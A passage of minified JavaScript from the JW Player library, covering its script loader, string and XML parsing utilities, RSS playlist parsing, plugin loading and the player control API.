j}f.media=h;f.audio=h;f.source=a;f.video=b})(jwplayer);(function(a){a.utils.loaderstatus={NEW:"NEW",LOADING:"LOADING",ERROR:"ERROR",COMPLETE:"COMPLETE"};a.utils.scriptloader=function(c){var d=a.utils.loaderstatus.NEW;var b=new a.events.eventdispatcher();a.utils.extend(this,b);this.load=function(){if(d==a.utils.loaderstatus.NEW){d=a.utils.loaderstatus.LOADING;var e=document.createElement("script");e.onload=function(f){d=a.utils.loaderstatus.COMPLETE;b.sendEvent(a.events.COMPLETE)};e.onerror=function(f){d=a.utils.loaderstatus.ERROR;b.sendEvent(a.events.ERROR)};e.onreadystatechange=function(){if(e.readyState=="loaded"||e.readyState=="complete"){d=a.utils.loaderstatus.COMPLETE;b.sendEvent(a.events.COMPLETE)}};document.getElementsByTagName("head")[0].appendChild(e);e.src=c}};this.getStatus=function(){return d}}})(jwplayer);(function(a){a.utils.selectors=function(b,e){if(!a.utils.exists(e)){e=document}b=a.utils.strings.trim(b);var c=b.charAt(0);if(c=="#"){return e.getElementById(b.substr(1))}else{if(c=="."){if(e.getElementsByClassName){return e.getElementsByClassName(b.substr(1))}else{return a.utils.selectors.getElementsByTagAndClass("*",b.substr(1))}}else{if(b.indexOf(".")>0){var d=b.split(".");return a.utils.selectors.getElementsByTagAndClass(d[0],d[1])}else{return e.getElementsByTagName(b)}}}return null};a.utils.selectors.getElementsByTagAndClass=function(e,h,g){var j=[];if(!a.utils.exists(g)){g=document}var f=g.getElementsByTagName(e);for(var d=0;d<f.length;d++){if(a.utils.exists(f[d].className)){var c=f[d].className.split(" ");for(var b=0;b<c.length;b++){if(c[b]==h){j.push(f[d])}}}}return j}})(jwplayer);(function(a){a.utils.strings=function(){};a.utils.strings.trim=function(b){return b.replace(/^\s*/,"").replace(/\s*$/,"")};a.utils.strings.pad=function(c,d,b){if(!b){b="0"}while(c.length<d){c=b+c}return c};a.utils.strings.serialize=function(b){if(b==null){return null}else{if(b=="true"){return true}else{if(b=="false"){return false}else{if(isNaN(Number(b))||b.length>5||b.length==0){return b}else{return Number(b)}}}}};a.utils.strings.seconds=function(d){d=d.replace(",",".");var b=d.split(":");var c=0;if(d.substr(-1)=="s"){c=Number(d.substr(0,d.length-1))}else{if(d.substr(-1)=="m"){c=Number(d.substr(0,d.length-1))*60}else{if(d.substr(-1)=="h"){c=Number(d.substr(0,d.length-1))*3600}else{if(b.length>1){c=Number(b[b.length-1]);c+=Number(b[b.length-2])*60;if(b.length==3){c+=Number(b[b.length-3])*3600}}else{c=Number(d)}}}}return c};a.utils.strings.xmlAttribute=function(b,c){for(var d=0;d<b.attributes.length;d++){if(b.attributes[d].name&&b.attributes[d].name.toLowerCase()==c.toLowerCase()){return b.attributes[d].value.toString()}}return""};a.utils.strings.jsonToString=function(f){var h=h||{};if(h&&h.stringify){return h.stringify(f)}var c=typeof(f);if(c!="object"||f===null){if(c=="string"){f='"'+f+'"'}else{return String(f)}}else{var g=[],b=(f&&f.constructor==Array);for(var d in f){var e=f[d];switch(typeof(e)){case"string":e='"'+e+'"';break;case"object":if(a.utils.exists(e)){e=a.utils.strings.jsonToString(e)}break}if(b){if(typeof(e)!="function"){g.push(String(e))}}else{if(typeof(e)!="function"){g.push('"'+d+'":'+String(e))}}}if(b){return"["+String(g)+"]"}else{return"{"+String(g)+"}"}}}})(jwplayer);(function(c){var d=new RegExp(/^(#|0x)[0-9a-fA-F]{3,6}/);c.utils.typechecker=function(g,f){f=!c.utils.exists(f)?b(g):f;return e(g,f)};function b(f){var g=["true","false","t","f"];if(g.toString().indexOf(f.toLowerCase().replace(" ",""))>=0){return"boolean"}else{if(d.test(f)){return"color"}else{if(!isNaN(parseInt(f,10))&&parseInt(f,10).toString().length==f.length){return"integer"}else{if(!isNaN(parseFloat(f))&&parseFloat(f).toString().length==f.length){return"float"}}}}return"string"}function e(g,f){if(!c.utils.exists(f)){return g}switch(f){case"color":if(g.length>0){return a(g)}return null;case"integer":return parseInt(g,10);case"float":return parseFloat(g);case"boolean":if(g.toLowerCase()=="true"){return true}else{if(g=="1"){return true}}return false}return g}function a(f){switch(f.toLowerCase()){case"blue":return parseInt("0000FF",16);case"green":return parseInt("00FF00",16);case"red":return parseInt("FF0000",16);case"cyan":return parseInt("00FFFF",16);case"magenta":return parseInt("FF00FF",16);case"yellow":return parseInt("FFFF00",16);case"black":return parseInt("000000",16);case"white":return parseInt("FFFFFF",16);default:f=f.replace(/(#|0x)?([0-9A-F]{3,6})$/gi,"$2");if(f.length==3){f=f.charAt(0)+f.charAt(0)+f.charAt(1)+f.charAt(1)+f.charAt(2)+f.charAt(2)}return parseInt(f,16)}return parseInt("000000",16)}})(jwplayer);(function(a){a.utils.parsers=function(){};a.utils.parsers.localName=function(b){if(!b){return""}else{if(b.localName){return b.localName}else{if(b.baseName){return b.baseName}else{return""}}}};a.utils.parsers.textContent=function(b){if(!b){return""}else{if(b.textContent){return b.textContent}else{if(b.text){return b.text}else{return""}}}}})(jwplayer);(function(a){a.utils.parsers.jwparser=function(){};a.utils.parsers.jwparser.PREFIX="jwplayer";a.utils.parsers.jwparser.parseEntry=function(c,d){for(var b=0;b<c.childNodes.length;b++){if(c.childNodes[b].prefix==a.utils.parsers.jwparser.PREFIX){d[a.utils.parsers.localName(c.childNodes[b])]=a.utils.strings.serialize(a.utils.parsers.textContent(c.childNodes[b]))}if(!d.file&&String(d.link).toLowerCase().indexOf("youtube")>-1){d.file=d.link}}return d};a.utils.parsers.jwparser.getProvider=function(c){if(c.type){return c.type}else{if(c.file.indexOf("youtube.com/w")>-1||c.file.indexOf("youtube.com/v")>-1||c.file.indexOf("youtu.be/")>-1){return"youtube"}else{if(c.streamer&&c.streamer.indexOf("rtmp")==0){return"rtmp"}else{if(c.streamer&&c.streamer.indexOf("http")==0){return"http"}else{var b=a.utils.strings.extension(c.file);if(extensions.hasOwnProperty(b)){return extensions[b]}}}}}return""}})(jwplayer);(function(a){a.utils.parsers.mediaparser=function(){};a.utils.parsers.mediaparser.PREFIX="media";a.utils.parsers.mediaparser.parseGroup=function(d,f){var e=false;for(var c=0;c<d.childNodes.length;c++){if(d.childNodes[c].prefix==a.utils.parsers.mediaparser.PREFIX){if(!a.utils.parsers.localName(d.childNodes[c])){continue}switch(a.utils.parsers.localName(d.childNodes[c]).toLowerCase()){case"content":if(!e){f.file=a.utils.strings.xmlAttribute(d.childNodes[c],"url")}if(a.utils.strings.xmlAttribute(d.childNodes[c],"duration")){f.duration=a.utils.strings.seconds(a.utils.strings.xmlAttribute(d.childNodes[c],"duration"))}if(a.utils.strings.xmlAttribute(d.childNodes[c],"start")){f.start=a.utils.strings.seconds(a.utils.strings.xmlAttribute(d.childNodes[c],"start"))}if(d.childNodes[c].childNodes&&d.childNodes[c].childNodes.length>0){f=a.utils.parsers.mediaparser.parseGroup(d.childNodes[c],f)}if(a.utils.strings.xmlAttribute(d.childNodes[c],"width")||a.utils.strings.xmlAttribute(d.childNodes[c],"bitrate")||a.utils.strings.xmlAttribute(d.childNodes[c],"url")){if(!f.levels){f.levels=[]}f.levels.push({width:a.utils.strings.xmlAttribute(d.childNodes[c],"width"),bitrate:a.utils.strings.xmlAttribute(d.childNodes[c],"bitrate"),file:a.utils.strings.xmlAttribute(d.childNodes[c],"url")})}break;case"title":f.title=a.utils.parsers.textContent(d.childNodes[c]);break;case"description":f.description=a.utils.parsers.textContent(d.childNodes[c]);break;case"keywords":f.tags=a.utils.parsers.textContent(d.childNodes[c]);break;case"thumbnail":f.image=a.utils.strings.xmlAttribute(d.childNodes[c],"url");break;case"credit":f.author=a.utils.parsers.textContent(d.childNodes[c]);break;case"player":var b=d.childNodes[c].url;if(b.indexOf("youtube.com")>=0||b.indexOf("youtu.be")>=0){e=true;f.file=a.utils.strings.xmlAttribute(d.childNodes[c],"url")}break;case"group":a.utils.parsers.mediaparser.parseGroup(d.childNodes[c],f);break}}}return f}})(jwplayer);(function(b){b.utils.parsers.rssparser=function(){};b.utils.parsers.rssparser.parse=function(f){var c=[];for(var e=0;e<f.childNodes.length;e++){if(b.utils.parsers.localName(f.childNodes[e]).toLowerCase()=="channel"){for(var d=0;d<f.childNodes[e].childNodes.length;d++){if(b.utils.parsers.localName(f.childNodes[e].childNodes[d]).toLowerCase()=="item"){c.push(a(f.childNodes[e].childNodes[d]))}}}}return c};function a(d){var e={};for(var c=0;c<d.childNodes.length;c++){if(!b.utils.parsers.localName(d.childNodes[c])){continue}switch(b.utils.parsers.localName(d.childNodes[c]).toLowerCase()){case"enclosure":e.file=b.utils.strings.xmlAttribute(d.childNodes[c],"url");break;case"title":e.title=b.utils.parsers.textContent(d.childNodes[c]);break;case"pubdate":e.date=b.utils.parsers.textContent(d.childNodes[c]);break;case"description":e.description=b.utils.parsers.textContent(d.childNodes[c]);break;case"link":e.link=b.utils.parsers.textContent(d.childNodes[c]);break;case"category":if(e.tags){e.tags+=b.utils.parsers.textContent(d.childNodes[c])}else{e.tags=b.utils.parsers.textContent(d.childNodes[c])}break}}e=b.utils.parsers.mediaparser.parseGroup(d,e);e=b.utils.parsers.jwparser.parseEntry(d,e);return new b.html5.playlistitem(e)}})(jwplayer);(function(a){var c={};var b={};a.plugins=function(){};a.plugins.loadPlugins=function(e,d){b[e]=new a.plugins.pluginloader(new a.plugins.model(c),d);return b[e]};a.plugins.registerPlugin=function(h,f,e){var d=a.utils.getPluginName(h);if(c[d]){c[d].registerPlugin(h,f,e)}else{a.utils.log("A plugin ("+h+") was registered with the player that was not loaded. Please check your configuration.");for(var g in b){b[g].pluginFailed()}}}})(jwplayer);(function(a){a.plugins.model=function(b){this.addPlugin=function(c){var d=a.utils.getPluginName(c);if(!b[d]){b[d]=new a.plugins.plugin(c)}return b[d]}}})(jwplayer);(function(a){a.plugins.pluginmodes={FLASH:"FLASH",JAVASCRIPT:"JAVASCRIPT",HYBRID:"HYBRID"};a.plugins.plugin=function(b){var d="http://lp.longtailvideo.com";var j=a.utils.loaderstatus.NEW;var k;var h;var l;var c=new a.events.eventdispatcher();a.utils.extend(this,c);function e(){switch(a.utils.getPluginPathType(b)){case a.utils.pluginPathType.ABSOLUTE:return b;case a.utils.pluginPathType.RELATIVE:return a.utils.getAbsolutePath(b,window.location.href);case a.utils.pluginPathType.CDN:var n=a.utils.getPluginName(b);var m=a.utils.getPluginVersion(b);return d+"/"+a.version.split(".")[0]+"/"+n+"/"+n+(m!==""?("-"+m):"")+".js"}}function g(m){l=setTimeout(function(){j=a.utils.loaderstatus.COMPLETE;c.sendEvent(a.events.COMPLETE)},1000)}function f(m){j=a.utils.loaderstatus.ERROR;c.sendEvent(a.events.ERROR)}this.load=function(){if(j==a.utils.loaderstatus.NEW){if(b.lastIndexOf(".swf")>0){k=b;j=a.utils.loaderstatus.COMPLETE;c.sendEvent(a.events.COMPLETE);return}j=a.utils.loaderstatus.LOADING;var m=new a.utils.scriptloader(e());m.addEventListener(a.events.COMPLETE,g);m.addEventListener(a.events.ERROR,f);m.load()}};this.registerPlugin=function(o,n,m){if(l){clearTimeout(l);l=undefined}if(n&&m){k=m;h=n}else{if(typeof n=="string"){k=n}else{if(typeof n=="function"){h=n}else{if(!n&&!m){k=o}}}}j=a.utils.loaderstatus.COMPLETE;c.sendEvent(a.events.COMPLETE)};this.getStatus=function(){return j};this.getPluginName=function(){return a.utils.getPluginName(b)};this.getFlashPath=function(){if(k){switch(a.utils.getPluginPathType(k)){case a.utils.pluginPathType.ABSOLUTE:return k;case a.utils.pluginPathType.RELATIVE:if(b.lastIndexOf(".swf")>0){return a.utils.getAbsolutePath(k,window.location.href)}return a.utils.getAbsolutePath(k,e());case a.utils.pluginPathType.CDN:if(k.indexOf("-")>-1){return k+"h"}return k+"-h"}}return null};this.getJS=function(){return h};this.getPluginmode=function(){if(typeof k!="undefined"&&typeof h!="undefined"){return a.plugins.pluginmodes.HYBRID}else{if(typeof k!="undefined"){return a.plugins.pluginmodes.FLASH}else{if(typeof h!="undefined"){return a.plugins.pluginmodes.JAVASCRIPT}}}};this.getNewInstance=function(n,m,o){return new h(n,m,o)};this.getURL=function(){return b}}})(jwplayer);(function(a){a.plugins.pluginloader=function(h,e){var g={};var k=a.utils.loaderstatus.NEW;var d=false;var b=false;var c=new a.events.eventdispatcher();a.utils.extend(this,c);function f(){if(!b){b=true;k=a.utils.loaderstatus.COMPLETE;c.sendEvent(a.events.COMPLETE)}}function j(){if(!b){var m=0;for(plugin in g){var l=g[plugin].getStatus();if(l==a.utils.loaderstatus.LOADING||l==a.utils.loaderstatus.NEW){m++}}if(m==0){f()}}}this.setupPlugins=function(n,l,s){var m={length:0,plugins:{}};var p={length:0,plugins:{}};for(var o in g){var q=g[o].getPluginName();if(g[o].getFlashPath()){m.plugins[g[o].getFlashPath()]=l.plugins[o];m.plugins[g[o].getFlashPath()].pluginmode=g[o].getPluginmode();m.length++}if(g[o].getJS()){var r=document.createElement("div");r.id=n.id+"_"+q;r.style.position="absolute";r.style.zIndex=p.length+10;p.plugins[q]=g[o].getNewInstance(n,l.plugins[o],r);p.length++;if(typeof p.plugins[q].resize!="undefined"){n.onReady(s(p.plugins[q],r,true));n.onResize(s(p.plugins[q],r))}}}n.plugins=p.plugins;return m};this.load=function(){k=a.utils.loaderstatus.LOADING;d=true;for(var l in e){if(a.utils.exists(l)){g[l]=h.addPlugin(l);g[l].addEventListener(a.events.COMPLETE,j);g[l].addEventListener(a.events.ERROR,j)}}for(l in g){g[l].load()}d=false;j()};this.pluginFailed=function(){f()};this.getStatus=function(){return k}}})(jwplayer);(function(b){var a=[];b.api=function(d){this.container=d;this.id=d.id;var n={};var s={};var q={};var c=[];var h=undefined;var l=false;var j=[];var p=b.utils.getOuterHTML(d);var r={};var k={};this.getBuffer=function(){return this.callInternal("jwGetBuffer")};this.getContainer=function(){return this.container};function e(u,t){return function(z,v,w,x){if(u.renderingMode=="flash"||u.renderingMode=="html5"){var y;if(v){k[z]=v;y="jwplayer('"+u.id+"').callback('"+z+"')"}else{if(!v&&k[z]){delete k[z]}}h.jwDockSetButton(z,y,w,x)}return t}}this.getPlugin=function(t){var v=this;var u={};if(t=="dock"){return b.utils.extend(u,{setButton:e(v,u),show:function(){v.callInternal("jwDockShow");return u},hide:function(){v.callInternal("jwDockHide");return u},onShow:function(w){v.componentListener("dock",b.api.events.JWPLAYER_COMPONENT_SHOW,w);return u},onHide:function(w){v.componentListener("dock",b.api.events.JWPLAYER_COMPONENT_HIDE,w);return u}})}else{if(t=="controlbar"){return b.utils.extend(u,{show:function(){v.callInternal("jwControlbarShow");return u},hide:function(){v.callInternal("jwControlbarHide");return u},onShow:function(w){v.componentListener("controlbar",b.api.events.JWPLAYER_COMPONENT_SHOW,w);return u},onHide:function(w){v.componentListener("controlbar",b.api.events.JWPLAYER_COMPONENT_HIDE,w);return u}})}else{if(t=="display"){return b.utils.extend(u,{show:function(){v.callInternal("jwDisplayShow");return u},hide:function(){v.callInternal("jwDisplayHide");return u},onShow:function(w){v.componentListener("display",b.api.events.JWPLAYER_COMPONENT_SHOW,w);return u},onHide:function(w){v.componentListener("display",b.api.events.JWPLAYER_COMPONENT_HIDE,w);return u}})}else{return this.plugins[t]}}}};this.callback=function(t){if(k[t]){return k[t]()}};this.getDuration=function(){return this.callInternal("jwGetDuration")};this.getFullscreen=function(){return this.callInternal("jwGetFullscreen")};this.getHeight=function(){return this.callInternal("jwGetHeight")};this.getLockState=function(){return this.callInternal("jwGetLockState")};this.getMeta=function(){return this.getItemMeta()};this.getMute=function(){return this.callInternal("jwGetMute")};this.getPlaylist=function(){var u=this.callInternal("jwGetPlaylist");if(this.renderingMode=="flash"){b.utils.deepReplaceKeyName(u,"__dot__",".")}for(var t=0;t<u.length;t++){if(!b.utils.exists(u[t].index)){u[t].index=t}}return u};this.getPlaylistItem=function(t){if(!b.utils.exists(t)){t=this.getCurrentItem()}return this.getPlaylist()[t]};this.getPosition=function(){return this.callInternal("jwGetPosition")};this.getRenderingMode=function(){return this.renderingMode};this.getState=function(){return this.callInternal("jwGetState")};this.getVolume=function(){return this.callInternal("jwGetVolume")};this.getWidth=function(){return this.callInternal("jwGetWidth")};this.setFullscreen=function(t){if(!b.utils.exists(t)){this.callInternal("jwSetFullscreen",!this.callInternal("jwGetFullscreen"))}else{this.callInternal("jwSetFullscreen",t)}return this};this.setMute=function(t){if(!b.utils.exists(t)){this.callInternal("jwSetMute",!this.callInternal("jwGetMute"))}else{this.callInternal("jwSetMute",t)}return this};this.lock=function(){return this};this.unlock=function(){return this};this.load=function(t){this.callInternal("jwLoad",t);return this};this.playlistItem=function(t){this.callInternal("jwPlaylistItem",t);return this};this.playlistPrev=function(){this.callInternal("jwPlaylistPrev");return this};this.playlistNext=function(){this.callInternal("jwPlaylistNext");return this};this.resize=function(u,t){if(this.renderingMode=="html5"){h.jwResize(u,t)}else{this.container.width=u;this.container.height=t}return this};this.play=function(t){if(typeof t=="undefined"){t=this.getState();if(t==b.api.events.state.PLAYING||t==b.api.events.state.BUFFERING){this.callInternal("jwPause")}else{this.callInternal("jwPlay")}}else{this.callInternal("jwPlay",t)}return this};this.pause=function(t){if(typeof t=="undefined"){t=this.getState();if(t==b.api.events.state.PLAYING||t==b.api.events.state.BUFFERING){this.callInternal("jwPause")}else{this.callInternal("jwPlay")}}else{this.callInternal("jwPause",t)}return this};this.stop=function(){this.callInternal("jwStop");return this};this.seek=function(t){this.callInternal("jwSeek",t);return this};this.setVolume=function(t){this.callInternal("jwSetVolume",t);return this};this.onBufferChange=function(t){return this.eventListener(b.api.events.JWPLAYER_MEDIA_BUFFER,t)};this.onBufferFull=function(t){return this.eventListener(b.api.events.JWPLAYER_MEDIA_BUFFER_FULL,t)};this.onError=function(t){return this.eventListener(b.api.events.JWPLAYER_ERROR,t)};this.onFullscreen=function(t){return this.eventListener(b.api.events.JWPLAYER_FULLSCREEN,t)};this.onMeta=function(t){return this.eventListener(b.api.events.JWPLAYER_MEDIA_META,t)};this.onMute=function(t){return this.eventListener(b.api.events.JWPLAYER_MEDIA_MUTE,t)};this.onPlaylist=function(t){return this.eventListener(b.api.events.JWPLAYER_PLAYLIST_LOADED,t)};this.onPlaylistItem=function(t){return this.eventListener(b.api.events.JWPLAYER_PLAYLIST_ITEM,t)};this.onReady=function(t){return this.eventListener(b.api.events.API_READY,t)};this.onResize=function(t){return this.eventListener(b.api.events.JWPLAYER_RESIZE,t)};this.onComplete=function(t){return this.eventListener(b.api.events.JWPLAYER_MEDIA_COMPLETE,t)};this.onSeek=function(t){return this.eventListener(b.api.events.JWPLAYER_MEDIA_SEEK,t)};this.onTime=function(t){return this.eventListener(b.api.events.JWPLAYER_MEDIA_TIME,t)};this.onVolume=function(t){return this.eventListener(b.api.events.JWPLAYER_MEDIA_VOLUME,t)};this.onBuffer=function(t){return this.stateListener(b.api.events.state.BUFFERING,t)};this.onPause=function(t){return this.stateListener(b.api.events.state.PAUSED,t)};this.onPlay=function(t){return this.stateListener(b.api.events.state.PLAYING,t)};this.onIdle=function(t){return this.stateListener(b.api.events.state.IDLE,t)};this.remove=function(){n={};j=[];if(b.utils.getOuterHTML(this.container)!=p){b.api.destroyPlayer(this.id,p)}};this.setup=function(u){if(b.embed){var t=this.id;this.remove();var v=b(t);v.config=u;return new b.embed(v)}return this};this.registerPlugin=function(v,u,t){b.plugins.registerPlugin(v,u,t)};this.setPlayer=function(t,u){h=t;this.renderingMode=u};this.stateListener=function(t,u){if(!s[t]){s[t]=[];this.eventListener(b.api.events.JWPLAYER_PLAYER_STATE,g(t))}s[t].push(u);return this};function g(t){return function(v){var u=v.newstate,x=v.oldstate;if(u==t){var w=s[u];if(w){for(var y=0;y<w.length;y++){if(typeof w[y]=="function"){w[y].call(this,{oldstate:x,newstate:u})}}}}}}this.componentListener=function(t,u,v){if(!q[t]){q[t]={}}if(!q[t][u]){q[t][u]=[];this.eventListener(u,m(t,u))}q[t][u].push(v);return this};function m(t,u){return function(w){if(t==w.component){var v=q[t][u];if(v){for(var x=0;x<v.length;x++){if(typeof v[x]=="function"){v[x].call(this,w)}}}}}}this.addInternalListener=function(t,u){t.jwAddEventListener(u,'function(dat) { jwplayer("'+this.id+'").dispatchEvent("'+u+'", dat); }')};this.eventListener=function(t,u){if(!n[t]){n[t]=[];if(h&&l){this.addInternalListener(h,t)}}n[t].push(u);return this};this.dispatchEvent=function(v){if(n[v]){var u=f(v,arguments[1]);for(var t=0;t<n[v].length;t++){if(typeof n[v][t]=="function"){n[v][t].call(this,u)}}}};function f(v,t){var x=b.utils.extend({},t);if(v==b.api.events.JWPLAYER_FULLSCREEN&&!x.fullscreen){x.fullscreen=x.message=="true"?true:false;delete x.message}else{if(typeof x.data=="object"){x=b.utils.extend(x,x.data);delete x.data}}var u=["position","duration","offset"];for(var w in u){if(x[u[w]]){x[u[w]]=Math.round(x[u[w]]*1000)/1000}}return x}this.callInternal=function(u,t){if(l){if(typeof h!="undefined"&&typeof h[u]=="function"){if(b.utils.exists(t)){return(h[u])(t)}else{return(h[u])()}}return null}else{j.push({method:u,parameters:t})}};this.playerReady=function(v){l=true;if(!h){this.setPlayer(document.getElementById(v.id))}this.container=document.getElementById(this.id);for(var t in n){this.addInternalListener(h,t)}this.eventListener(b.api.events.JWPLAYER_PLAYLIST_ITEM,function(w){r={}});this.eventListener(b.api.events.JWPLAYER_MEDIA_META,function(w){b.utils.extend(r,w.metadata)});this.dispatchEvent(b.api.events.API_READY);while(j.length>0){var u=j.shift();this.callInternal(u.method,u.parameters)}};this.getItemMeta=function(){return r};this.getCurrentItem=function(){return this.callInternal("jwGetPlaylistIndex")};function o(v,x,w){var t=[];if(!x){x=0}if(!w){w=v.length-1}for(var u=x;u<=w;u++){t.push(v[u])}return t}return this};b.api.selectPlayer=function(d){var c;if(!b.utils.exists(d)){d=0}if(d.nodeType){c=d}else{if(typeof d=="string"){c=document.getElementById(d)}}if(c){var e=b.api.playerById(c.id);if(e){return e}else{return b.api.addPlayer(new b.api(c))}}else{if(typeof d=="number"){return b.getPlayers()[d]}}return null};b.api.events={API_READY:"jwplayerAPIReady",JWPLAYER_READY:"jwplayerReady",JWPLAYER_FULLSCREEN:"jwplayerFullscreen",JWPLAYER_RESIZE:"jwplayerResize",JWPLAYER_ERROR:"jwplayerError",JWPLAYER_COMPONENT_SHOW:"jwplayerComponentShow",JWPLAYER_COMPONENT_HIDE:"jwplayerComponentHide",JWPLAYER_MEDIA_BUFFER:"jwplayerMediaBuffer",JWPLAYER_MEDIA_BUFFER_FULL:"jwplayerMediaBufferFull",JWPLAYER_MEDIA_ERROR:"jwplayerMediaError",JWPLAYER_MEDIA_LOADED:"jwplayerMediaLoaded",JWPLAYER_MEDIA_COMPLETE:"jwplayerMediaComplete",JWPLAYER_MEDIA_SEEK:"jwplayerMediaSeek",JWPLAYER_MEDIA_TIME:"jwplayerMediaTime",JWPLAYER_MEDIA_VOLUME:"jwplayerMediaVolume",JWPLAYER_MEDIA_META:"jwplayerMediaMeta",JWPLAYER_MEDIA_MUTE:"jwplayerMediaMute",JWPLAYER_PLAYER_STATE:"jwplayerPlayerState",JWPLAYER_PLAYLIST_LOADED:"jwplayerPlaylistLoaded",JWPLAYER_PLAYLIST_ITEM:"jwplayerPlaylistItem"};b.api.events.state={BUFFERING:"BUFFERING",IDLE:"IDLE",PAUSED:"PAUSED",PLAYING:"PLAYING"};b.api.playerById=function(d){for(var c=0;c<a.length;c++){if(a[c].id==d){return a[c]}}return null};b.api.addPlayer=function(c){for(var d=0;d<a.length;d++){if(a[d]==c){return c}}a.push(c);return c};b.api.destroyPlayer=function(g,d){var f=-1;for(var j=0;j<a.length;j++){if(a[j].id==g){f=j;continue}}if(f>=0){var c=document.getElementById(a[f].id);if(document.getElementById(a[f].id+"_wrapper")){c=document.getElementById(a[f].id+"_wrapper")}if(c){if(d){b.utils.setOuterHTML(c,d)}else{var h=document.createElement("div");var e=c.id;if(c.id.indexOf("_wrapper")==c.id.length-8){newID=c.id.substring(0,c.id.length-8)}h.setAttribute("id",e);c.parentNode.replaceChild(h,c)}}a.splice(f,1)}return null};b.getPlayers=function(){return a.slice(0)}})(jwplayer);var _userPlayerReady=(typeof playerReady=="function")?playerReady:undefined;playerReady=function(b){var a=jwplayer.api.playerById(b.id);if(a){a.playerReady(b)}else{jwplayer.api.selectPlayer(b.id).playerReady(b)}if(_userPlayerReady){_userPlayerReady.call(this,b)}};(function(a){a.embed=function(g){var j={width:400,height:300,components:{controlbar:{position:"over"}}};var f=a.utils.mediaparser.parseMedia(g.container);var e=new a.embed.config(a.utils.extend(j,f,g.config),this);var h=a.plugins.loadPlugins(g.id,e.plugins);function c(m,l){for(var k in l){if(typeof m[k]=="function"){(m[k]).call(m,l[k])}}}function d(){if(h.getStatus()==a.utils.loaderstatus.COMPLETE){for(var m=0;m<e.modes.length;m++){if(e.modes[m].type&&a.embed[e.modes[m].type]){var k=e;if(e.modes[m].config){k=a.utils.extend(a.utils.clone(e),e.modes[m].config)}var l=new a.embed[e.modes[m].type](document.getElementById(g.id),e.modes[m],k,h,g);if(l.supportsConfig()){l.embed();c(g,e.events);return g}}}a.utils.log("No suitable players found");new a.embed.logo(a.utils.extend({hide:true},e.components.logo),"none",g.id)}}h.addEventListener(a.events.COMPLETE,d);h.addEventListener(a.events.ERROR,d);h.load();return g};function b(){if(!document.body){return setTimeout(b,15)}var c=a.utils.selectors.getElementsByTagAndClass("video","jwplayer");for(var d=0;d<c.length;d++){var e=c[d];a(e.id).setup({})}}b()})(jwplayer);(function(e){function h(){return[{type:"flash",src:"/jwplayer/player.swf"},{type:"html5"},{type:"download"}]}var a={players:"modes",autoplay:"autostart"};function b(n){var m=n.toLowerCase();var l=["left","right","top","bottom"];for(var k=0;k<l.length;k++){if(m==l[k]){return true}}return false}function c(l){var k=false;k=(l instanceof Array)||(typeof l=="object"&&!l.position&&!l.size);return k}function j(k){if(typeof k=="string"){if(parseInt(k).toString()==k||k.toLowerCase().indexOf("px")>-1){return parseInt(k)}}return k}var g=["playlist","dock","controlbar","logo","display"];function f(k){var n={};switch(e.utils.typeOf(k.plugins)){case"object":for(var m in k.plugins){n[e.utils.getPluginName(m)]=m}break;case"string":var o=k.plugins.split(",");for(var l=0;l<o.length;l++){n[e.utils.getPluginName(o[l])]=o[l]}break}return n}function d(o,n,m,k){if(e.utils.typeOf(o[n])!="object"){o[n]={}}var l=o[n][m];if(e.utils.typeOf(l)!="object"){o[n][m]=l={}}if(k){if(n=="plugins"){var p=e.utils.getPluginName(m);l[k]=o[p+"."+k];delete o[p+"."+k]}else{l[k]=o[m+"."+k];delete o[m+"."+k]}}}e.embed.deserialize=function(l){var m=f(l);for(var k in m){d(l,"plugins",m[k])}for(var p in l){if(p.indexOf(".")>-1){var o=p.split(".");var n=o[0];var p=o[1];if(e.utils.isInArray(g,n)){d(l,"components",n,p)}else{if(m[n]){d(l,"plugins",m[n],p)}}}}return l};e.embed.config=function(k,u){var t=e.utils.extend({},k);var r;if(c(t.playlist)){r=t.playlist;delete t.playlist}t=e.embed.deserialize(t);t.height=j(t.height);t.width=j(t.width);if(typeof t.plugins=="string"){var l=t.plugins.split(",");if(typeof t.plugins!="object"){t.plugins={}}for(var p=0;p<l.length;p++){var q=e.utils.getPluginName(l[p]);if(typeof t[q]=="object"){t.plugins[l[p]]=t[q];delete t[q]}else{t.plugins[l[p]]={}}}}for(var s=0;s<g.length;s++){var o=g[s];if(e.utils.exists(t[o])){if(typeof t[o]!="object"){if(!t.components[o]){t.components[o]={}}if(o=="logo"){t.components[o].file=t[o]}else{t.components[o].position=t[o]}delete t[o]}else{if(!t.components[o]){t.components[o]={}}e.utils.extend(t.components[o],t[o]);delete t[o]}}if(typeof t[o+"size"]!="undefined"){if(!t.components[o]){t.components[o]={}}t.components[o].size=t[o+"size"];delete t[o+"size"]}}if(typeof t.icons!="undefined"){if(!t.components.display){t.components.display={}}t.components.display.icons=t.icons;delete t.icons}for(var n in a){if(t[n]){if(!t[a[n]]){t[a[n]]=t[n]}delete t[n]}}var m;if(t.flashplayer&&!t.modes){m=h();m[0].src=t.flashplayer;delete t.flashplayer}else{if(t.modes){if(typeof t.modes=="string"){m=h();m[0].src=t.modes}else{if(t.modes instanceof Array){m=t.modes}else{if(typeof t.modes=="object"&&t.modes.type){m=[t.modes]}}}delete t.modes}else{m=h()}}t.modes=m;if(r){t.playlist=r}return t}})(jwplayer);(function(a){a.embed.download=function(c,g,b,d,f){this.embed=function(){var k=a.utils.extend({},b);var q={};var j=b.width?b.width:480;if(typeof j!="number"){j=parseInt(j,10)}var m=b.height?b.height:320;if(typeof m!="number"){m=parseInt(m,10)}var u,o,n;var s={};if(b.playlist&&b.playlist.length){s.file=b.playlist[0].file;o=b.playlist[0].image;s.levels=b.playlist[0].levels}else{s.file=b.file;o=b.image;s.levels=b.levels}if(s.file){u=s.file}else{if(s.levels&&s.levels.length){u=s.levels[0].file}}n=u?"pointer":"auto";var 